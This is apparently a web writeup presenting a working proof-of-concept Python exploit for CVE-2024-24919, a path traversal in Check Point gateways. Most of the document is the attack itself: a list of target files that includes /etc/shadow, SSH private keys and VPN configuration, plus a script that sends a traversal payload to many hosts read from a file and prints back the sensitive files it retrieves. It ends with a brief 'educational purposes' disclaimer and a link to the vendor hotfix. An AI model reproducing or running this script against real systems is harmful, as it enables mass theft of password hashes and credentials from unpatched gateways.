CVE-2024-24919

Proof of Concept python script that exploits what’s essentially a path traversal issue.

Below are a list of files that are vulnerable - including the shadow file which contains the hashed passwords.

1. ../../../../../../../etc/fstab
2. ../../../../../../../etc/shadow
3. ../../../../../../../sysimg/CPwrapper/SU/Products.conf
4. ../../../../../../../config/db/initial
5. ../../../../../../../etc/passwd
6. ../../../../../../../home/*/.ssh/authorized_keys
7. ../../../../../../../opt/checkpoint/conf/
8. ../../../../../../../etc/ssh/sshd_config
9. ../../../../../../../etc/vpn/vpn.conf
10. ../../../../../../../home/*/.ssh/id_rsa

The PoC Script

import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

# Suppress SSL warnings
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

vuln = ['root:', 'nobody:']

def make_request(url, payload=None, headers=None):
    try:
        response = requests.post(url, data=payload, headers=headers, verify=False)
        if response.ok:
            for word in vuln:
                if word in response.text:
                    print(f"[+] {url} is vulnerable")
                    if payload and payload.startswith("aCSHELL/../../../../../../../etc/shadow"):
                        print("╔══════════════════════════════════════════════════════╗")
                        print("║                      etc/shadow found:               ║")
                        print("╚══════════════════════════════════════════════════════╝")
                        print("╔══════════════════════════════════════════════════════╗")
                        print(f"                      {response.text}                ")
                        print("╚══════════════════════════════════════════════════════╝")
                    elif payload:
                        print("╔══════════════════════════════════════════════════════╗")
                        print("║                      Your file was found:            ║")
                        print("╚══════════════════════════════════════════════════════╝")
                        print("╔══════════════════════════════════════════════════════╗")
                        print(f"                      {response.text}                ")
                        print("╚══════════════════════════════════════════════════════╝")
                    return
            print(f"[-] {url} is not vulnerable")
        else:
            print(f"[-] {url} responded with status code: {response.status_code}")
    except requests.RequestException as e:
        print(f"Error making request to {url}: {e}")

def main():
    payload = "aCSHELL/../../../../../../../etc/shadow"
    parser = argparse.ArgumentParser(description="CVE-2024-24919 POC")
    parser.add_argument("-l", metavar='filename', type=str, help="File containing list of HTTP/HTTPS targets")
    parser.add_argument("-f", metavar='file', type=str, help="File to read for custom payload (May break on multiple targets with unknown files.)")
    args = parser.parse_args()

    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "none",
        "Sec-Fetch-User": "?1",
        "Dnt": "1",
        "Sec-Gpc": "1",
        "Te": "trailers",
        "Connection": "close"
    }

    payload_base = "aCSHELL/../../../../../../../{}"

    if args.f:
        payload = payload_base.format(args.f)

    if args.l:
        try:
            with open(args.l, 'r') as file:
                urls = file.readlines()
                for url in urls:
                    url = url.strip()
                    if url.startswith('http://') or url.startswith('https://'):
                        make_request(url + '/clients/MyCRL', payload=payload, headers=headers)
                    else:
                        print(f"Skipping invalid URL: {url}")
        except FileNotFoundError:
            print(f"Error: File '{args.l}' not found.")
    else:
        print("Please provide a file containing list of HTTP/HTTPS targets using -l option.")

if __name__ == "__main__":
    main()

Finding targets

Example of usage

Example of output

This is for educational purposes. Only try this on systems you own. Please don’t do anything illegal.

Check Point released a hotfix for this, you can read more about it here: https://support.checkpoint.com/results/sk/sk182336